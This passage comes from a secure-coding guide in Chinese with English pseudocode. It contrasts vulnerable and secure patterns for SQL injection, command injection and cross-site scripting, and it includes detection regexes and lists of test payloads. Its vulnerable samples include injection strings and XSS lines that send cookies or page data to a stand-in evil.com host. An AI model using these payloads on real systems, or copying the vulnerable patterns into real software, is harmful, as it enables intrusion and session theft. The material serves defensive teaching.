function createUser(name, email, role):
    query = "INSERT INTO users (name, email, role) VALUES (?, ?, ?)"
    return database.execute(query, [name, email, role])

// SECURE: IN clause with dynamic count
function getUsersByIds(userIds):
    placeholders = ", ".join(["?" for _ in userIds])
    query = f"SELECT * FROM users WHERE id IN ({placeholders})"
    return database.execute(query, userIds)

// SECURE: Transaction with multiple parameterized queries
function transferFunds(fromId, toId, amount):
    database.beginTransaction()
    try:
        database.execute("UPDATE accounts SET balance = balance - ? WHERE id = ?", [amount, fromId])
        database.execute("UPDATE accounts SET balance = balance + ? WHERE id = ?", [amount, toId])
        database.commit()
    catch error:
        database.rollback()
        throw error

为什么说它是安全的：

• 数据库驱动程序将查询结构与数据分离
• 参数永远不会被解释为 SQL
• 适用于所有标准数据类型
• 防止所有 SQL 注入变体出现在值位置

优秀示例 2：ORM 安全使用

// SECURE: ORM with typed queries
function getUserById(userId):
    return User.findOne({where: {id: userId}})

// SECURE: ORM with relationships
function getUserWithOrders(userId):
    return User.findOne({
        where: {id: userId},
        include: [{model: Order, as: 'orders'}]
    })

// SECURE: ORM query builder
function searchProducts(filters):
    query = Product.query()

    if filters.category:
        query = query.where('category', '=', filters.category)
    if filters.minPrice:
        query = query.where('price', '>=', filters.minPrice)
    if filters.maxPrice:
        query = query.where('price', '<=', filters.maxPrice)

    return query.get()

// WARNING: ORM raw query - still needs parameterization!
function customQuery(userId):
    // STILL VULNERABLE if using string interpolation:
    // return database.raw(f"SELECT * FROM users WHERE id = {userId}")

    // SECURE: Use ORM's parameterization
    return database.raw("SELECT * FROM users WHERE id = ?", [userId])

为什么说它是安全的：

• ORM自动处理参数化
• 类型检查可以阻止某些注入尝试
• 查询构建器以编程方式构建安全查询。
• 仍然需要谨慎处理原始查询

优秀示例 3：安全的动态表/列名（允许列表）

// SECURE: Allowlist for table names
ALLOWED_TABLES = {"users", "products", "orders", "categories"}

function getDataFromTable(tableName, id):
    if tableName not in ALLOWED_TABLES:
        throw ValidationError("Invalid table name")

    // Safe because tableName is from allowlist, not user input
    query = f"SELECT * FROM {tableName} WHERE id = ?"
    return database.execute(query, [id])

// SECURE: Allowlist for sort columns
SORT_COLUMNS = {
    "name": "name",
    "price": "price",
    "date": "created_at",
    "popularity": "view_count"
}

function getProducts(sortBy, sortOrder):
    column = SORT_COLUMNS.get(sortBy, "name")  // Default to 'name'
    direction = "DESC" if sortOrder == "desc" else "ASC"

    query = f"SELECT * FROM products ORDER BY {column} {direction}"
    return database.execute(query)

// SECURE: Quoted identifiers as additional defense
function getDataDynamic(tableName, columnName, value):
    if tableName not in ALLOWED_TABLES:
        throw ValidationError("Invalid table")
    if columnName not in ALLOWED_COLUMNS[tableName]:
        throw ValidationError("Invalid column")

    // Use database quoting function for identifiers
    quotedTable = database.quoteIdentifier(tableName)
    quotedColumn = database.quoteIdentifier(columnName)

    query = f"SELECT * FROM {quotedTable} WHERE {quotedColumn} = ?"
    return database.execute(query, [value])

为什么说它是安全的：

• 允许列表确保只使用已知安全的值
• 用户输入映射到预定义的安全值
• 标识符引用提供了纵深防御能力
• 验证发生在查询构建之前。

优秀示例 4：安全命令执行

// SECURE: Argument array (no shell interpretation)
function pingHost(hostname):
    // Validate hostname format first
    if not isValidHostname(hostname):
        throw ValidationError("Invalid hostname format")

    // Use argument array - shell metacharacters are literal
    result = subprocess.run(
        ["ping", "-c", "4", hostname],
        shell = false,  // CRITICAL: no shell interpretation
        capture_output = true,
        timeout = 30
    )
    return result.stdout

// SECURE: Allowlist for command arguments
ALLOWED_FORMATS = {"png", "jpg", "gif", "webp"}

function convertImage(inputPath, outputPath, format):
    // Validate format from allowlist
    if format not in ALLOWED_FORMATS:
        throw ValidationError("Invalid format")

    // Validate paths are within allowed directory
    if not isPathWithinDirectory(inputPath, UPLOAD_DIR):
        throw ValidationError("Invalid input path")
    if not isPathWithinDirectory(outputPath, OUTPUT_DIR):
        throw ValidationError("Invalid output path")

    // Safe argument array
    result = subprocess.run(
        ["convert", inputPath, "-resize", "800x600", f"{outputPath}.{format}"],
        shell = false
    )
    return result

// SECURE: Using libraries instead of shell commands
function checkDiskUsage(directory):
    // Use language-native library instead of shell
    return filesystem.getDirectorySize(directory)

function readJsonFile(filepath):
    // Don't use: shell.execute(f"cat {filepath} | jq .")
    // Use language JSON library
    return json.parse(filesystem.readFile(filepath))

为什么说它是安全的：

• 参数数组直接将参数传递给程序。
• 没有对元字符的外壳解释
• 允许列表可防止意外值
• 路径验证可防止目录遍历。
• 本地库完全避免使用 shell。

边缘案例部分

特殊情况 1：二阶注入（先存储后执行）

// DANGEROUS: Data stored safely but used unsafely later

// Step 1: User creates profile (looks safe)
function createProfile(userId, displayName):
    // Parameterized - SAFE for initial storage
    query = "INSERT INTO profiles (user_id, display_name) VALUES (?, ?)"
    database.execute(query, [userId, displayName])
    // Attacker sets displayName = "admin'--"

// Step 2: Background job uses stored data UNSAFELY
function generateReportForUser(userId):
    // Get the stored display name
    profile = database.execute("SELECT display_name FROM profiles WHERE user_id = ?", [userId])
    displayName = profile.display_name
    // "admin'--" retrieved from database

    // VULNERABLE: Trusting data from database
    reportQuery = f"INSERT INTO reports (title) VALUES ('Report for {displayName}')"
    database.execute(reportQuery)
    // Result: INSERT INTO reports (title) VALUES ('Report for admin'--')

// SECURE: Parameterize ALL queries, even with "internal" data
function generateReportForUserSafe(userId):
    profile = database.execute("SELECT display_name FROM profiles WHERE user_id = ?", [userId])

    // Still parameterize even though data is from database
    reportQuery = "INSERT INTO reports (title) VALUES (?)"
    database.execute(reportQuery, [f"Report for {profile.display_name}"])

检测：审核所有在后续查询中使用数据库数据的代码路径。

特殊情况 2：存储过程中的注入

// DANGEROUS: Dynamic SQL inside stored procedure

// Stored Procedure Definition (in database)
CREATE PROCEDURE searchUsers(searchTerm VARCHAR(100))
BEGIN
    // VULNERABLE: Dynamic SQL construction
    SET @query = CONCAT('SELECT * FROM users WHERE name LIKE ''%', searchTerm, '%''');
    PREPARE stmt FROM @query;
    EXECUTE stmt;
END

// Application code looks safe...
function searchUsers(term):
    return database.callProcedure("searchUsers", [term])
    // But injection still occurs inside the procedure!

// SECURE: Parameterized even in stored procedures
CREATE PROCEDURE searchUsersSafe(searchTerm VARCHAR(100))
BEGIN
    // Use parameterization within procedure
    SELECT * FROM users WHERE name LIKE CONCAT('%', searchTerm, '%');
    // Or use prepared statement properly
    SET @query = 'SELECT * FROM users WHERE name LIKE ?';
    SET @search = CONCAT('%', searchTerm, '%');
    PREPARE stmt FROM @query;
    EXECUTE stmt USING @search;
END

检测：检查所有存储过程是否存在动态 SQL 构造。

极端情况 3：通过编码旁路注入

// DANGEROUS: Encoding-based bypass attempts

// Scenario 1: Double-encoding bypass
function searchWithFilter(term):
    // Application URL-decodes once
    decoded = urlDecode(term)  // %2527 -> %27

    // WAF sees %27, not single quote
    // Second decode happens: %27 -> '

    query = f"SELECT * FROM items WHERE name = '{decoded}'"
    // Injection succeeds

// Scenario 2: Unicode normalization bypass
function filterUsername(username):
    // Check for dangerous characters
    if "'" in username or "\"" in username:
        throw ValidationError("Invalid characters")

    // VULNERABLE: Unicode normalization happens AFTER validation
    normalized = unicodeNormalize(username)
    // 'ʼ' (U+02BC) might normalize to "'" (U+0027) in some systems

    query = f"SELECT * FROM users WHERE username = '{normalized}'"

// SECURE: Parameterization makes encoding irrelevant
function searchSafe(term):
    // Encoding doesn't matter - it's just data
    query = "SELECT * FROM items WHERE name = ?"
    return database.execute(query, [term])

// SECURE: Validate AFTER all normalization
function filterUsernameSafe(username):
    // Normalize first
    normalized = unicodeNormalize(username)

    // Then validate
    if not isValidUsernameChars(normalized):
        throw ValidationError("Invalid characters")

    // Then use (still with parameterization)
    query = "SELECT * FROM users WHERE username = ?"
    return database.execute(query, [normalized])

检测：使用各种编码有效载荷（%27，，%2527Unicode 变体）进行测试。

常见错误部分

误区一：以为逃跑就足够了

// DANGEROUS: Manual escaping is error-prone

function getUserByNameEscaped(name):
    // "Escaping" by replacing quotes
    escapedName = name.replace("'", "''")
    query = f"SELECT * FROM users WHERE name = '{escapedName}'"
    return database.execute(query)

// Problems with this approach:
// 1. Different databases have different escape rules
// 2. Multibyte character encoding bypasses (GBK, etc.)
// 3. Doesn't handle all injection vectors
// 4. Easy to forget in one place
// 5. Backslash escaping varies by database

// Attack (MySQL with NO_BACKSLASH_ESCAPES off):
// name = "\' OR 1=1 --"
// Result: \'' OR 1=1 -- (backslash escapes first quote)

// Attack (multibyte): name = 0xbf27
// In GBK: 0xbf5c27 -> valid multibyte char + literal quote

// ALWAYS USE PARAMETERIZATION - it's not about escaping
function getUserByNameSafe(name):
    query = "SELECT * FROM users WHERE name = ?"
    return database.execute(query, [name])

关键见解：参数化不会“逃逸”——它会将查询结构和数据分开发送。

错误二：轻信“内部”数据源

// DANGEROUS: Trusting data because it's "internal"

function processMessage(messageFromQueue):
    // "This is from our internal queue, so it's safe"
    userId = messageFromQueue.userId

    query = f"SELECT * FROM users WHERE id = {userId}"
    return database.execute(query)

// BUT: Where did that queue message originate?
// - User input that was serialized to queue
// - External API response stored in queue
// - Another service that has its own vulnerabilities

// DANGEROUS: Trusting data from other tables/services
function getOrderDetails(orderId):
    order = database.execute("SELECT * FROM orders WHERE id = ?", [orderId])

    // Order.notes was user-supplied
    query = f"SELECT * FROM notes WHERE content LIKE '%{order.notes}%'"
    // Still vulnerable to second-order injection

// SECURE: Parameterize ALL queries regardless of data source
function processMessageSafe(messageFromQueue):
    query = "SELECT * FROM users WHERE id = ?"
    return database.execute(query, [messageFromQueue.userId])

规则：在构建查询时，永远不要信任任何数据——始终要参数化。

错误 3：部分参数化

// DANGEROUS: Parameterizing some parts but not others

function searchUsers(name, sortColumn, limit):
    // Parameterized the value, but not ORDER BY or LIMIT
    query = f"SELECT * FROM users WHERE name = ? ORDER BY {sortColumn} LIMIT {limit}"
    return database.execute(query, [name])

// Attack: sortColumn = "1; DELETE FROM users; --"
// Attack: limit = "1 UNION SELECT password FROM admin_users"

// DANGEROUS: Parameterized WHERE but not table
function getDataFlexible(tableName, filterColumn, filterValue):
    query = f"SELECT * FROM {tableName} WHERE {filterColumn} = ?"
    return database.execute(query, [filterValue])
    // Table name and column still injectable

// SECURE: Validate/allowlist everything that can't be parameterized
function searchUsersSafe(name, sortColumn, limit):
    // Allowlist for sort column
    allowedSorts = {"name", "email", "created_at"}
    sortCol = sortColumn if sortColumn in allowedSorts else "name"

    // Validate limit is positive integer
    limitNum = min(max(int(limit), 1), 100)  // Clamp to 1-100

    query = f"SELECT * FROM users WHERE name = ? ORDER BY {sortCol} LIMIT {limitNum}"
    return database.execute(query, [name])

关键见解：每个可注入位置都需要参数化或允许列表验证。

检测提示和测试方法

自动检测模式

// Regex patterns to find SQL injection vulnerabilities:

// 1. String concatenation with SQL keywords
regex: /(SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|ORDER BY).*(\+|\.concat|\$\{|f['"])/i

// 2. Format strings with SQL
regex: /f["'].*\b(SELECT|INSERT|UPDATE|DELETE)\b.*\{.*\}/i

// 3. String interpolation in queries
regex: /execute\s*\(\s*["`'].*\$\{?[a-zA-Z_]/

// Command injection patterns:

// 4. Shell execution with concatenation
regex: /(system|exec|shell_exec|popen|subprocess\.run|os\.system)\s*\(.*(\+|\$\{|f['"])/

// 5. Shell=True with variables
regex: /shell\s*=\s*[Tt]rue.*\{|shell\s*=\s*[Tt]rue.*\+/

手动测试方法

// SQL Injection Test Payloads:

basicTests = [
    "' OR '1'='1",           // Basic auth bypass
    "'; DROP TABLE test; --", // Stacked queries
    "' UNION SELECT null--",  // Union-based
    "1 AND 1=1",             // Boolean-based
    "1' AND SLEEP(5)--",     // Time-based blind
]

// Command Injection Test Payloads:

commandTests = [
    "; whoami",              // Command chaining
    "| id",                  // Pipe injection
    "$(whoami)",             // Command substitution
    "`id`",                  // Backtick substitution
    "& ping -c 4 attacker.com", // Background execution
]

// Testing Methodology:
1. Identify all input points (forms, URLs, headers, JSON fields)
2. Trace input flow to database queries or shell commands
3. Inject test payloads at each point
4. Monitor for:
   - SQL errors in response
   - Time delays (for blind injection)
   - DNS/HTTP callbacks (for out-of-band)
   - Changed behavior indicating injection success

代码审查清单

安全检查清单

• 所有 SQL 查询都使用参数化语句或预处理查询。
• ORM 原始查询也使用参数化
• 动态表/列名根据严格的允许列表进行验证
• ORDER BY 和 LIMIT 子句使用已验证/允许列表的值
• 子进程调用中没有 shell=True
• 所有命令行参数都以数组形式传递，而不是字符串形式传递。
• 用户控制的文件路径已验证并清理
• 用户输入未设置环境变量
• 考虑二阶注入（数据库数据仍已参数化）
• 已审查内部动态 SQL 的存储过程
• 输入验证在任何规范化/解码之前进行。
• 代码审查专门检查所有查询/命令构造

模式 3：跨站脚本攻击 (XSS)

CWE 参考： CWE-79（网页生成过程中输入的不正确中和）、CWE-80（基本 XSS）、CWE-83（属性中的不正确中和）、CWE-87（URI 中的不正确中和）

优先级评分： 23（频率：10，严重性：8，可检测性：5）

引言：为什么人工智能经常忽略上下文相关的编码

跨站脚本攻击（XSS）是人工智能生成代码中最常见的漏洞之一。研究表明，86% 的人工智能生成代码无法抵御 XSS 攻击（Veracode 2025），而且人工智能生成代码包含 XSS 的可能性是人类编写代码的 2.74 倍（CodeRabbit 分析）。

为什么人工智能模型会产生 XSS 漏洞：

1. 上下文盲点： XSS 防护需要理解用户输入将被渲染的上下文——HTML 正文、属性、JavaScript、CSS 或 URL。每种上下文都需要不同的编码。由于缺乏对渲染上下文的感知，AI 模型经常使用通用编码或不进行编码。

2. 训练数据显示 innerHTML 无处不在：教程和 Stack Overflow 上的回答大量使用 `<div>` innerHTML、document.write()`<span>` 和模板字符串注入来进行 DOM 操作。人工智能将这些学习为标准模式。

3. 框架误解：像 React 这样的现代框架提供了自动转义，但 AI 经常使用 `<div>`、`<span>` 或原始模板插值来绕过这些安全措施，尤其是dangerouslySetInnerHTML在v-html任务似乎需要“丰富的”HTML 输出时。

4. 编码与验证的混淆：人工智能模型通常会进行输入验证（检查允许的字符），但会忽略输出编码（安全地在上下文中呈现数据）。验证是为了确保数据完整性；编码是为了防止跨站脚本攻击 (XSS)。

5. 客户端信任：人工智能通常将客户端代码视为“安全”的，因为它运行在浏览器中。它无法识别出跨站脚本攻击（XSS）正是利用了浏览器对应用程序的信任。

XSS 的影响：

• 会话劫持：攻击者窃取会话 cookie 并冒充受害者
• 账户盗用：键盘记录、凭证窃取或强制更改密码
• 数据泄露：窃取向用户显示的敏感数据
• 恶意软件传播：将用户重定向到恶意网站
• 篡改页面：更改页面内容以进行网络钓鱼或损害声誉。
• 蠕虫传播：自我传播的XSS（Samy蠕虫感染了100万MySpace用户）

XSS 变体：

多个不同语境下的不良示例

错误示例 1：HTML 主体注入

// VULNERABLE: Direct injection into HTML body
function displayUserComment(comment):
    // User input directly placed in HTML
    document.getElementById("comments").innerHTML =
        "<div class='comment'>" + comment + "</div>"

// Attack: comment = "<script>document.location='http://evil.com/steal?c='+document.cookie</script>"
// Result: Script executes, cookies sent to attacker

// VULNERABLE: Server-side template without encoding
function renderProfilePage(username, bio):
    return """
        <html>
        <body>
            <h1>Profile: {username}</h1>
            <p>{bio}</p>
        </body>
        </html>
    """.format(username=username, bio=bio)

// Attack: bio = "<img src=x onerror='alert(document.cookie)'>"
// Result: onerror handler executes JavaScript

// VULNERABLE: Using document.write
function showWelcome(name):
    document.write("<h2>Welcome, " + name + "!</h2>")

// Attack: name = "<img src=x onerror=alert('XSS')>"

为什么这样做很危险：

• 脚本标签在 DOM 插入后立即执行。
• 事件处理程序（onerror，，onload）onclick执行时不带脚本标签
• SVG元素可以包含可执行代码
• document.write并innerHTML解析用户输入中的 HTML

错误示例 2：HTML 属性注入

// VULNERABLE: User input in HTML attributes
function renderImage(imageUrl, altText):
    return '<img src="' + imageUrl + '" alt="' + altText + '">'

// Attack: altText = '" onmouseover="alert(document.cookie)" x="'
// Result: <img src="img.jpg" alt="" onmouseover="alert(document.cookie)" x="">

// VULNERABLE: Unquoted attributes
function renderLink(url, text):
    return "<a href=" + url + ">" + text + "</a>"

// Attack: url = "http://site.com onclick=alert(1)"
// Result: <a href=http://site.com onclick=alert(1)>text</a>

// VULNERABLE: Input in style attribute
function setBackgroundColor(color):
    element.setAttribute("style", "background-color: " + color)

// Attack: color = "red; background-image: url('javascript:alert(1)')"
// Attack: color = "expression(alert('XSS'))"  // IE-specific

// VULNERABLE: Event handler attribute
function renderButton(buttonId, label):
    return '<button id="' + buttonId + '" onclick="handleClick(\'' + label + '\')">' + label + '</button>'

// Attack: label = "'); alert(document.cookie); ('"
// Result: onclick="handleClick(''); alert(document.cookie); ('")"

为什么这样做很危险：

• 未加引号的属性会在空格处断开，从而允许添加新属性。
• 带引号的属性可以与匹配的引号分开。
• 事件处理程序属性直接执行 JavaScript
• 某些属性（href，，src）style具有特殊的解析规则

反面例子 3：JavaScript 上下文注入

// VULNERABLE: User input embedded in JavaScript
function generateUserScript(username):
    return """
        <script>
            var currentUser = '{username}';
            displayGreeting(currentUser);
        </script>
    """.format(username=username)

// Attack: username = "'; alert(document.cookie); //'"
// Result: var currentUser = ''; alert(document.cookie); //';

// VULNERABLE: JSON data embedded in script
function embedUserData(userData):
    return """
        <script>
            var data = {userData};
            processData(data);
        </script>
    """.format(userData=jsonEncode(userData))

// Attack: userData contains </script><script>alert(1)</script>
// JSON encoding doesn't prevent HTML context escape

// VULNERABLE: Template literals with user input
function renderTemplate(message):
    return `<script>showNotification("${message}")</script>`

// Attack: message = '${alert(document.cookie)}'  // Template literal injection
// Attack: message = '");alert(document.cookie);//'  // String escape

// VULNERABLE: Dynamic script construction
function addEventHandler(eventName, userCallback):
    element.setAttribute("onclick", "handleEvent('" + userCallback + "')")

// Attack: userCallback = "'); stealData(); ('"

为什么这样做很危险：

• JavaScript 字符串上下文需要 JavaScript 特有的转义
• HTML 结束标签 ( </script>) 可以跳出脚本块。
• 模板字面量本身也存在注入风险。
• 内联事件处理程序会将 HTML 和 JavaScript 上下文复合起来。

错误示例 4：URL 上下文注入

// VULNERABLE: User input in href attribute
function renderNavLink(destination):
    return '<a href="' + destination + '">Click here</a>'

// Attack: destination = "javascript:alert(document.cookie)"
// Result: <a href="javascript:alert(document.cookie)">Click here</a>

// VULNERABLE: URL parameters without encoding
function buildSearchUrl(query):
    return '<a href="/search?q=' + query + '">Search again</a>'

// Attack: query = '" onclick="alert(1)" x="'
// Result: <a href="/search?q=" onclick="alert(1)" x="">Search again</a>

// VULNERABLE: Redirect based on user input
function handleRedirect(url):
    window.location = url

// Attack: url = "javascript:alert(document.cookie)"
// Result: JavaScript execution via location change

// VULNERABLE: Open redirect leading to XSS
function redirectAfterLogin(returnUrl):
    return '<meta http-equiv="refresh" content="0;url=' + returnUrl + '">'

// Attack: returnUrl = "data:text/html,<script>alert(1)</script>"
// Attack: returnUrl = "javascript:alert(1)"

为什么这样做很危险：

• javascript:URL在被导航时会执行代码。
• data:URL 可以包含可执行的 HTML/JavaScript 代码。
• vbscript:URL 在旧版 IE 浏览器上执行
• 单靠 URL 编码无法阻止基于协议的攻击

反例 5：CSS 上下文注入

// VULNERABLE: User input in CSS
function applyCustomStyle(customCss):
    styleElement = document.createElement("style")
    styleElement.textContent = ".user-style { " + customCss + " }"
    document.head.appendChild(styleElement)

// Attack: customCss = "} body { background: url('http://evil.com/log?data=' + document.cookie); } .x {"
// Result: CSS exfiltration of page data

// VULNERABLE: CSS expression (legacy IE)
function setWidth(width):
    element.style.cssText = "width: " + width

// Attack: width = "expression(alert(document.cookie))"
// Result: JavaScript execution via CSS expression (IE)

// VULNERABLE: CSS injection via style attribute
function renderAvatar(avatarUrl):
    return '<div style="background-image: url(' + avatarUrl + ')"></div>'

// Attack: avatarUrl = "x); } body { background: red; } .x { content: url(x"
// Modern Attack: avatarUrl = "https://evil.com/?' + btoa(document.body.innerHTML) + '"

// VULNERABLE: CSS @import injection
function loadTheme(themeUrl):
    return "<style>@import url('" + themeUrl + "');</style>"

// Attack: themeUrl = "'); } * { background: url('http://evil.com/steal?"

为什么这样做很危险：

• url()CSS 可以通过请求泄露数据。
• 旧版IE浏览器expression()会执行JavaScript
• CSS注入可以改变页面外观，从而进行网络钓鱼。
• @import可以加载攻击者控制的样式表

针对每种情境的优秀示例

优秀示例 1：正确的 HTML 编码